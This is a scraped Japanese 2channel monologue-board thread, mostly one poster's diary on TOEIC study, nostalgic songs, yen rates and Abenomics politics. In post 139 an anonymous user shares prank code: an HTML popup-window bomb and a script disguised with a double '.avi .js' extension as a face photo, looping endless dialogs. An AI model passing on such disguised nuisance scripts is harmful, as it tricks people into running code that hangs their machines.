英語よりも楽しい勉強始めちゃって暇が潰れに潰れてるからTOEICの準備なんてできないかも。
コメント1件

95
かん[sage]   投稿日:2012/07/18 21:17:43
難しくなってきてペースダウンだけどコツコツよコツコツ。中年からでもコツコツよ。

96
かん[sage]   投稿日:2012/07/18 21:22:43
TOEICはどうするか。去年はリーディングが不本意だったから、
イクフン本のリーディングドリルを全部やったらどれくらい伸びるのか、試してみたい気はする。
去年のはマグレくさいから、伸びるとは限らないけどな。

97
かん[sage]   投稿日:2012/07/19 05:00:22
マグレ臭いのは文法のところ、不本意だったのはパート7のところ、伸びないのは点数ね。

2時過ぎに目が覚めて2度寝も諦めたが起き上がりたくはない。

98
かん[sage]   投稿日:2012/07/29 23:19:32
なんかちょっと前にオリンピックの結果に文句を言ってた気がするんだが、
今またオリンピックやってるってことは、あれは4年も前のことなのか、信じられん。この勢いだと人生もうすぐ終わる。

99
夢見る名無しさん[sage]   投稿日:2012/08/01 19:16:45
ヘボ大学増えすぎ

100
夢見る名無しさん[sage]   投稿日:2012/08/13 23:47:00
しょーしぃーてーえええええ

101
夢見る名無しさん[]   投稿日:2012/08/15 03:26:57
アホウ

102
かん[sage]   投稿日:2012/08/23 20:35:57
さあ8月だ!

103
かん[sage]   投稿日:2012/09/23 00:23:32
9月だ!さあなにかやろう!

104
かん[sage]   投稿日:2012/09/23 00:26:56
竹内まりやって、歌詞があんまり上手くないような気がして、そんなに好きでもないんだけど、
これは懐かしいやね。

September
http://www.youtube.com/watch?v=5SQyO0xxLh8

105
かん[sage]   投稿日:2012/10/27 00:38:11
すぐ消されそうなのがいっぱいあがってるから聴いている。77年とか80年が良いな。
http://www.youtube.com/user/yumefro/videos?sort=dd&flow=grid&view=0&...

106
かん[sage]   投稿日:2012/10/27 15:21:21
78年も81年も良いな。

107
かん[sage]   投稿日:2012/10/30 23:37:31
youtube に有りそうでなかったアリス版の秋止符。

http://www.youtube.com/watch?v=gz28nqv-WLI

今の若いもんはヒゲ演歌の堀内孝雄しか知らないんだろな。

108
かん[sage]   投稿日:2012/11/14 22:48:45
解散だとなったら笑えるほどの勢いで円安に動いてら。それだけ野田はひどかったってこと。

109
かん[sage]   投稿日:2012/12/01 17:37:41
>94-95あたりを見ると調子のいいこと言ってるけど、なにやってたんだっけな。

110
かん[sage]   投稿日:2012/12/01 19:13:09
間にいろいろロクでもないことがあったからな。

111
かん[sage]   投稿日:2012/12/10 20:16:30
去年と同じ回のなら割引価格になるってんでTOEIC受けたら前回とピッタシ同じ点数。
リスニングのまぐれ当たり分が削げ落ちて、不本意だったリーディングが伸びた。そんな納得の860点。
買ったまま手を付けてない教材がまだたくさんあるから、それをこなして来年も受けようかね。

112
かん[sage]   投稿日:2012/12/13 20:16:44
スマホを英語アプリだらけにしてみた。

113
かん[sage]   投稿日:2012/12/16 21:08:30
また安倍ちゃんか。リフレは当然支持するけど、あとは全部うんこだから、いろいろ愚痴りたくなるだろうな。
ツイッターでは雑なことを書きたくないから、こっちを活用するかも。

114
かん[sage]   投稿日:2012/12/22 22:21:53
何年か前に貼ったやつ。
最近のフィギュア・スケート、この曲が流行りだな。

www.youtube.com/watch?v=4bV11c91D4k
www.youtube.com/watch?v=_-KEVlAbyk8
www.youtube.com/watch?v=ic8-5XvpHhc
www.youtube.com/watch?v=TCKiZRWyv20


115
かん[sage]   投稿日:2012/12/22 22:27:31

116
かん[sage]   投稿日:2012/12/29 00:23:29
やはり麻生がダメだ。

117
かん[sage]   投稿日:2012/12/31 08:40:02
麻生はまったく反省をしていないな。これはもうダメかもわからんね。

118
風 ◆Fuu...JKeE [おsageの女学生]   投稿日:2013/01/21 17:42:50
||ョ・д・。) かんサン、ど−してまつか?

119
かん[sage]   投稿日:2013/01/23 21:08:25
熱心にエロ動画を拾ってます。

120
かん[sage]   投稿日:2013/01/23 21:09:51
とにかく麻生はもう経済についてしゃべらないで。あと甘利と石破も。

121
かん[sage]   投稿日:2013/02/01 07:47:56
去年の11月14日に野田解散宣言してから2ヶ月半で12円上がりました。

122
かん[sage]   投稿日:2013/02/02 20:17:44
その日のうちに、さらに1円半上がりました。
反リフレ派、金融政策否定派の妄言をこまめにブログにでも保存しておけば良かった。

123
かん[sage]   投稿日:2013/02/02 20:21:46
2009年8月12日の麻生太郎の言いっぷりは2ちゃんにメモっといたからね。


|少なくとも景気対策をするために、いま金利政策はゼロ金利でも企業はお金を借りて設備投資をしない、
|ゆう状況が起きております。その状況下において金融政策というものは効果がない、ということは我々は
|十分に1992年以降経験をしたとこです。アメリカやヨーロッパはいま経験しています。我々はこれを
|15年前から経験をしたと、いうのが実態だと思います。その状況にあっては財政政策しか景気対策に
|効果がない、ゆうのはこれまでの実績から極めて明白だと思っております。したがって景気が回復するまで
|の間、我々は財政出動をもって、いろいろ仕事を態勢を整えなければならない、いわゆる景気回復の態勢を
|整えなければならないと申し上げております。

124
かん[sage]   投稿日:2013/02/02 20:23:31
当時から、金融政策なしで財政政策だけやると、結局円高になってしまって景気回復にはならないよって言われてたからね。
あの超円高は民主党だけの責任ではないよ。

125
かん[sage]   投稿日:2013/02/11 22:17:24
こないだの金曜、2月8日の。黒田氏の発言あたりを材料に戻してるけど、一応残しとくか。

NY外為:円がほぼ2年ぶり大幅高、麻生財務相発言で
http://www.bloomberg.co.jp/news/123-MHW6EX6TTDT901.html

動画を確認したけど、知ったかぶりの講釈を垂れたかっただけなんだろうなって感じだわ。

126
かん[sage]   投稿日:2013/02/11 22:24:24
■ 山本幸三レポート 〜 永田町の経済学 〜
http://www.yamamotokozo.com/reports/kozo-report01.htm

1.原始ケインジアン
 永田町の政治家の間で、経済理論らしきものがあるとすれば、原始ケインジアンの理論ぐらいだろう。
景気対策と言えば、財政拡大、特に公共投資拡大しかないと考える。これが、
過去10年以上、一貫して採られてきた政策である。
 しかし、この原始ケインジアンの理論が妥当したのは30年前の固定為替レートの時代であって、
変動相場制の下では、ほとんど無意味であるということが、未だに理解されていないのは、驚くべきことである。
 変動制の下では、マンデル・フレミング理論が妥当する。即ち、変動制の下では、財政支出を拡大しても、
金利が上昇し円高となって、その効果が相殺される。逆に、金融を緩和すると、金利が低下、円安となって、
二重の効果が得られる。1997年の予算委員会で、私は、このマンデル・フレミング理論に基づいて、
公共投資の乗数効果が低下しているのではと問題提起したのだが、
時の亀井静香建設大臣や麻生太郎経済企画庁長官は、何を言っているのかよく分からない様子だった。

127
かん[sage]   投稿日:2013/02/14 06:04:09
08.01.26 麻生太郎 伊予三島YEG記念講演会

http://jimaku.seesaa.net/article/118048325.html

そうすると、また経済のわかんないお役人とか
経済のわからない政治学者とか
経済の全然わかっていない経済学者とか
ゆうのが出てくるわけですよ

この人たちが何て言うかというと
「いや、金融政策が・・」ナントカ
「日銀が・・」どうとか
「だから日銀が・・・」とか言うけれども
もう日本銀行というところは金利をゼロにしても金借りない
「金融政策をもっと緩めろ」って、いくら緩めたって
借りる奴がいなければ緩めたって意味なぃーんだから

必要なものを提供しなくっちゃいけないのであって
必要じゃないものいくら提供したってダメなんですよ
「ホモに女すすめてもダメ」なんていつも言うもんだから
もうちょっと品のいい喩えはないのかとよく言われるですけれど

私は、人がほしがるものを提供すべきだって
今は提供すべきは金利でもなければ
金融の絶対量でもないんだから
金融政策って今効かないんですよ
ここら10年間、ゆうに実験してきたろーがって

って言うんですが、また日本銀行が・・・
全然学習効果のない人が多すぎるんだと
僕は思うね

128
夢見る名無しさん[sage]   投稿日:2013/02/24 02:09:33
通ります申し訳誤ざいません

129
かん[sage]   投稿日:2013/03/12 23:52:24
うーい。

130
かん[sage]   投稿日:2013/03/13 01:02:44
民主党は日銀副総裁に中曽は賛成して岩田規久男さんは反対するんだって。
リフレ政策に一線を画したいんだって。逆張り集団としては完璧な選択だね。このままきれいに自滅してください。

131
夢見る名無しさん[sage]   投稿日:2013/04/03 23:40:36
指一本動かさず
文句を言って
自分の言い分を通そうとしても無理

132
かん[sage]   投稿日:2013/04/06 23:51:35
さすがに指は動かしてる。

133
かん[sage]   投稿日:2013/04/06 23:52:44
こないだの予算委員会での麻生は見ものだったね。
なんか学生時代からマンデル・フレミングを知ってたことにしちゃってるし。ただの知ったかじじい。

134
かん[sage]   投稿日:2013/04/07 00:09:53
しかし黒田日銀はすごかったね。
リフレ派の人たちも今まで白川に従ってた審議委員の抵抗を心配してたけど、ほとんど全員賛成で異次元緩和やってみせたもんね。
しかもリークなしで。もうお祭り騒ぎだったね。

135
夢見る名無しさん[sage]   投稿日:2013/04/10 21:49:47
インフレさえなきゃ問題ないからね 用もないし 後は死ぬ方がいいね 好きでもない人と一緒にいるときもすぎるから 

136
夢見る名無しさん[]   投稿日:2013/04/14 20:25:23
ホントそうだね よくわかる わかりすぎる

137
忍法帖【Lv=40,xxxPT】(1+0:8) [age]   投稿日:2013/04/14 20:29:26
勿論解ったよ。

138
夢見る名無しさん[sage]   投稿日:2013/04/14 21:07:24
緩和だけしたって よけい困るだけじゃろ ダレが締めるの 落とし前つけられないくせに

139
夢見る名無しさん[]   投稿日:2013/04/14 23:08:30
以下のソースコードをメモ帳に貼り付けて、htmlで保存
<BODY Onload="var i=0;while(1){open('./',i++);}">

◆電波王の顔写真が公開されるプログラム◆
1.メモ帳に↓をコピペする
  for(;;){ WScript.Echo('このウィンドウは永久に消えません。m9(^Д^)プギャー'); }
2.ファイル名を↓で保存する
  電波王顔.avi .js
これだけでOK!

以下のソースコードをメモ帳に貼り付けて、htmlで保存すればテトリスが動きます。
<body onKeyDown=K=event.keyCode><script>X=[Z=[B=A=12]];h=e=K=t=P=0;function Y()
{C=[d=K-38];c=0;for(i=4;i--*K;K-13?c+=!Z[h+p+d]:c-=!Z[h+(C[i]=p*A-Math.round(p/
A)*145)])p=B[i];!t|c+4?c-4?0:h+=d:B=C;for(f=K=i=0;i<4;f+=Z[A+p])X[p=h+B[i++]]=1
if(e=!e){if(f|B){for(l=228;i--;)Z[h+B[i]]=k=1;for(B=[[-7,-20,6,17,-9,3,6][t=++t
%7]-4,0,1,t-6?-A:-1];l--;h=5)if(l%A)l-=l%A*!Z[l];else for(P+=k++,j=l+=A;--j>A;)
Z[j]=Z[j-A]}h+=A}for(i=S="";i<240;X[i]=Z[i]|=++i%A<2|i>228)i%A?0:S+="<br>",S+=X
[i]?"■":"_";document.body.innerHTML=S+P;Z[5]||setTimeout(Y,99-P)}Y()</script>

140
夢見る名無しさん[]   投稿日:2013/04/14 23:09:07
スロットやろうぜ!
<body onKeyDown=K=1><pre><script>R=7;D=document;function Y(){D.all(7).innerHTML
=P;if(K){R>>=1;if(!R){o=A[0]&56;if(o-(A[1]&56)||o-(A[2]&56)){alert("残念");if(P
<5)return alert("END")}else alert(g=T[o/=8]),P+=g;P-=5;R=7}}for(K=i=0;i<9;C[i++
%3]/=8)j=A[i],C[i]=A[i]=R&4>>i?j=j%(1<<27)*8|j>27:j,D.all[9+i].innerHTML=S[C[i
%3]&7];setTimeout(Y,99)}S="7□=○∴|¥$".split("");T=[100,5,10,15,20,30,P=
45,60];A=[0x16E29519,0x1DCC2E65,0x384CD988];C=[];a="<b></b><b></b><b></b>\n";D.
write(a,a,a,a);for(i=8;i--;K=0)D.write("\n\t",S[i]," ",T[i]);Y()</script>

それ系のぷよぷよもあるよね
<body onKeyDown=K=event.keyCode-38><script>function T(){h=100,B=Math.floor(Math
.random(l=8,p=-1)*16+4)}function Y(){for(S="",i=104;i--;i%8||(S+="<br>"))n=N[i]
,S+=n?~n?"<a style=color:#"+(249*n)+">●</a>":"■":"_";document.body.innerHTML
=S;N=[K-50?h-=M[h+l-K]|M[h-K]?0:K:M[h+p]?0:(x=p,p=-l,l=x)];for(K=0;++i<113;N[i]
=M[i]);N[h]=B>2;N[h+l]=B%4+1;if(!(++e%10))if(h-=8,M[h]+M[h+l])for(M=N,T(f=0);f
=!f;){for(i=112;i--;g=C[i]=0);for(;g=!g;)for(i=0;i<103;i++)if(n=M[i+8],!M[i]&&n
)M[i]=n,M[i+8]=g=0;for(;i--;){n=c=0;for(E=[i];M[i]>0&n>=c;c++)for(j=4;j--;t>102
|C[t]|M[i]-M[t]||(C[t]=E[++n]=t))x=p,p=-l,l=x,t=E[c]+p;if(n>3)for(;n;)f=M[E[n--
]]=0}}M[100]||setTimeout(Y,49)}for(M=N=[C=[i=113]];--i;M[i-1]=i%8>1&i>7?0:-1);Y
(T(e=K=0));</script>

141
かん[sage]   投稿日:2013/04/19 19:09:07
早く1ドル100円超えて欲しいねえ。

142
かん[sage]   投稿日:2013/05/11 18:16:37
100円超えたね。
それはいいんだけど、また超絶にロクでもないことに見舞われてる。

143
かん[sage]   投稿日:2013/06/09 20:35:59
本も読めんし、ツイッターも休止中。

144
夢見る名無しさん[]   投稿日:2013/07/21 19:39:36
円高、進みそうだね。いくらまでいくだろう。原油も高いのに、困るね。

145
夢見る名無しさん[]   投稿日:2013/07/21 22:13:54
毎日変わる数字に、付いていけねぇな…
更新情報
・スレッド一覧ページで過去ログのタイトル検索・一覧表示ができるようになりました(2016/1/20)
NGワード登録
登録する
スレッド内検索

夢・独り言板 タイトル検索

このスレッドが人気です(実況系)
第99回全国高校野球選手権大会 第9日★183 (807)NHK実況
実況 ◆ テレビ朝日 48881 (235)テレ朝実況
羽鳥慎一モーニングショー★4 (462)テレ朝実況
NHK総合を常に実況し続けるスレ 136913 蒸し暑い (936)NHK実況
ビビット 8/17(木) 競歩50キロ銅・小林快選手が生出演! ★1 (642)TBS実況
実況 ◆ フジテレビ 84151 (43)フジ実況
実況 ◆ 日本テレビ 56144 修正 (243)NTV実況
連続テレビ小説 ひよっこ★251 (319)NHK実況
このスレッドが人気です(ニュース系)
【ネット】「牛乳石鹸」広告が炎上、「もう買わない」の声 「意味不明」「ただただ不快」批判殺到 制作意図は答えず★2 (681)ニュー速+
【ネット】「牛乳石鹸」広告が炎上、「もう買わない」の声 「意味不明」「ただただ不快」批判殺到 制作意図は答えず (1001)ニュー速+
【有事】韓国避難所(シェルター)、邦人5万7000人全員が収容可能なことを日本政府が確認 (963)ニュー速+
【詐欺師】YouTuberヒカルがインサイダー疑惑で炎上 疑似株式サービスVALU(バリュー) ★12 (492)音楽・芸能ニュース
【女子マネージャー死亡事故】「呼吸はある」と判断し、AEDを使わず…認知度低い「死戦期呼吸」 (354)音楽・芸能ニュース
【野球】投手相手に死球、4番には3四球 阪神の藤浪に何が起こっているのか (116)音楽・芸能ニュース
【科学】量子コンピューター開発に集中投資へ 文科省方針…最長10年で数百億円の予算規模 (660)ニュー速+
【経済】クルマを降りることなく葬儀に参列 日本初「ドライブスルー葬儀場」年内登場 葬儀の「簡素化」が求められるワケ (194)ニュー速+
夢・独り言板の人気スレ
言いたい事だけ言って立ち去るスレpart2447 (363)
言いたい事だけ言って立ち去るスレpart2446 (1001)
ゆうゆう散歩♪45@夢板 (1001)
猫のうんちパート4 (76)
猫のうんちパート3 (1001)
ゆうゆう散歩♪46@夢板 (90)
そのまた向こうの優しい空に(その94) (753)
飾りじゃないのよ孝雄は (1001)
青い空に咲く朱色の花 (786)
大好きな人への独り言254 (610)
〈 好きだと言い合わない愛 〉 (769)
ありがちな夏に (891)
monologue☆*:.。 (395)
ぬるぽして3時間以内にガッされなければ勝利 94番 (816)
灰原の気まぐれ居酒屋 (700)
泣きぼくろのスレ 5スレめくらい (1001)
★続・権蔵のひとりごと 2 (345)
運子(*^o^*) [無断転載禁止]&#169;3ch.net (912)
ライド・マイブラ・ジザメリ 最高どーれだ? (580)
2017年7月7日7時7分に777ゲットするスレ (884)
♪((。▼"▼)o自☆自o(▼"▼。))バブバブゥ (411)
★続・権蔵のひとりごと (989)
イテ 2 (348)
三日月ロック8 (557)
このサイトについて
このサイトは2ちゃんねるからデータを取得し、表示するサービスです。
画像のインライン表示機能について
画像のURLの後ろにある[画像をインライン表示]をクリックすると、URLの下に表示します。
表示される画像は横幅100pxに縮小されていて、クリックすると原寸で表示します。
このサイトの特徴
1)スレッド内検索ができます
2)レス(「>>1」など)のポップアップができます
3)不適切な言葉を含む投稿を表示しません
4)ページ内で画像を直接表示できます
5)2ch他スレッドへのリンクはタイトル・板名つきでリンクします
6)すっきりとしたデザインで表示します
7)最新スレや前スレをチェック・一覧表示します
8)NGワード機能の搭載でイヤな言葉が目に入りません
9)荒らしを自動チェックします
10)スレッド内・同一IDの書き込みだけ表示できます
11)レスの返事をレスされた発言の下に表示する「まとめビュー」が利用できます
12)シリーズ化したスレッドの一覧を表示します
13)最新のスレッドがある場合はお知らせします
削除について
こちらをご覧ください
機能要望について
現在機能要望受付中です。
問い合わせについて
こちらのページからどうぞ
広告


首都圏の方、ソフトバンク光オススメですよ


このサイトは2ch.scからデータを取得・表示しています。削除などについてはこちらをご覧ください。 アクセスモード: